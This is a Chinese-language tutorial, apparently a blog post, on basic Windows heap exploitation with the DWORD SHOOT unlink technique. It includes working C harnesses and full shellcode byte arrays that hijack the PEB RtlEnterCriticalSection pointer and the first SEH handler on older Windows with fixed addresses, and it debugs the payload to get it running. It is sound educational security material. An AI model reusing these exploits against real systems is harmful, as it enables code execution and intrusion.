本文将介绍一些简单基础的入门堆攻击
DWORD SHOOT
DWORD SHOOT攻击利用堆溢出,通过空闲态堆块中的的双向链表指针,完成任意地址读写的操作
攻击原理
其攻击原理如下,一个双向链表的中间节点摘除一般如下,而flink与blink分别位于堆块指针的0x0和0x8偏移处
int remove (ListNode * node){
node -> blink-> flink = node-> flink;
node -> flink -> blink = node-> blink;
return 0;
}
此时若我们将blink换为目标地址,flink换为指定数据,那么 node -> blink-> flink = node-> flink;的效果就是向blink指向的地址的0x0偏移处写入数据flink
同理第二句 node -> flink-> blink = node-> blink;的效果是向flink指向的地址的0x8偏移处写入数据blink;
在实际操作中,我们则有以下的运用方式,h1分配完以后,通过堆溢出方式将指定地址及内容覆盖到h2的数据区前8字节,实现对shellcode开始处的跳转工作
#include <windows.h>
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
攻击示例
PEB利用
Windows为了同步进程下的多个线程,使用了一些同步措施,如锁机制(lock)、信号量(semaphore)、临界区(critical section)等。许多操作都要用到这些同步机制。
当进程退出时,ExitProcess()函数要做很多善后工作,其中必然需要用到临界区函数RtlEnterCriticalSection()和RtLeaveCriticalSection()来同步线程防止“脏数据”的产生。
而ExitProcess函数调用这两个临界区函数的方式比较独特,是通过PEB(进程环境块)偏移0x20处的函数指针进行的;同时在早期版本的windows下,PEB地址经常固定在0x7FFDF000处,便于程序调用(现在的OS均开启了ALSR,地址不再固定了)。
因此,我们可以通过DWORD SHOOT的方式对0x7FFDF020处的RtEnterCriticalSection()指针进行修改,强制使他指向我们的shellcode,从而完成弹窗
我们计划使用以下代码来完成堆溢出的操作,其中shellcode自定义,可以看到我们溢出的目标是h2在空闲态时的flink和blink,然后再通过allocate的方式实现对0x7FFDF024处指针的修改,从误导ExitProcess调用我们的shellcode
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3 //used to break the process
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
为了达成以上目的,我们需要通过调试来确定shellcode的起始位置,也就是h1的数据区。

同时,为了避免ExitProcess在shellcode调用函数时的递归调用shellcode,我们需要在shellcode首部恢复函数指针值。顺带着我们可以通过fs寻找PEB,确定当前PEB是否固定地址


可以看到PEB确实固定在0x7ffdf000处,同时记住Enter的原始地址,便于shellcode中恢复。根据以上信息,构建shellcode如下
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F" //MOV EAX,7FFDF020
"\xBB\xE0\x7E\xF8\x77" //MOV EBX,77F87EE0 the address here may releated to your OS
"\x89\x18" //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x90\x90\x90\x90\x90\x68\x59\x73\x73\x78\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x20\xf0\xfd\x7f";
//0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug
//0x7ffdf020 is the position in PEB which hold a pointer to RtlEnterCriticalSection()
//and will be called by ExitProcess() at last
运行程序,攻击结果如图

SEH利用
SEH链首可通过fs:[0x18]的方式进行定位,而SEH每一链项的结构体如下
//0x8 bytes (sizeof)
struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD* Next; //0x0
enum _EXCEPTION_DISPOSITION (*Handler)(struct _EXCEPTION_RECORD* arg1, VOID* arg2, struct _CONTEXT* arg3, VOID* arg4); //0x4
};
可以看到,链表偏移0x4处就是异常处理函数了,又因为对于异常处理是从链首到链尾依次match的,因此,我们只需要对链首处理函数进行修改并可以触发异常,便可以实现shellcode的执行了
为进行地址修改,我们使用以下代码进行堆溢出操作,以完成Dword Shoot
DWORD Myhandler(void){
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
//__asm int 3;
memcpy(h1,shellcode,0x200); //overflow,0x200=512
__try{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(Myhandler()){}
return 0;
}
这里触发异常是由于shellcode的覆盖,导致堆全局变量被覆盖;同理我们在这里也要通过调试得到SEH链首地址,以及h1数据区地址

h1地址不再赘述,依然是0x360688,因此我们先构建shellcode如下
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00\x60\xFF\x12\x00";
尝试运行程序,却无弹窗出现;我们调试发现bug如图:原来是在node->flink->blink=node->blink的过程中会破坏掉原有的shellcode,导致无法正确运行

为此我们对shellcode首部进行修改,将第一行换为 "\xEB\x06\x90\x90\x90\x90\x90\x90"通过jmp跳过6个字节,规避干扰
重新运行后,结果如下,shellcode执行成功
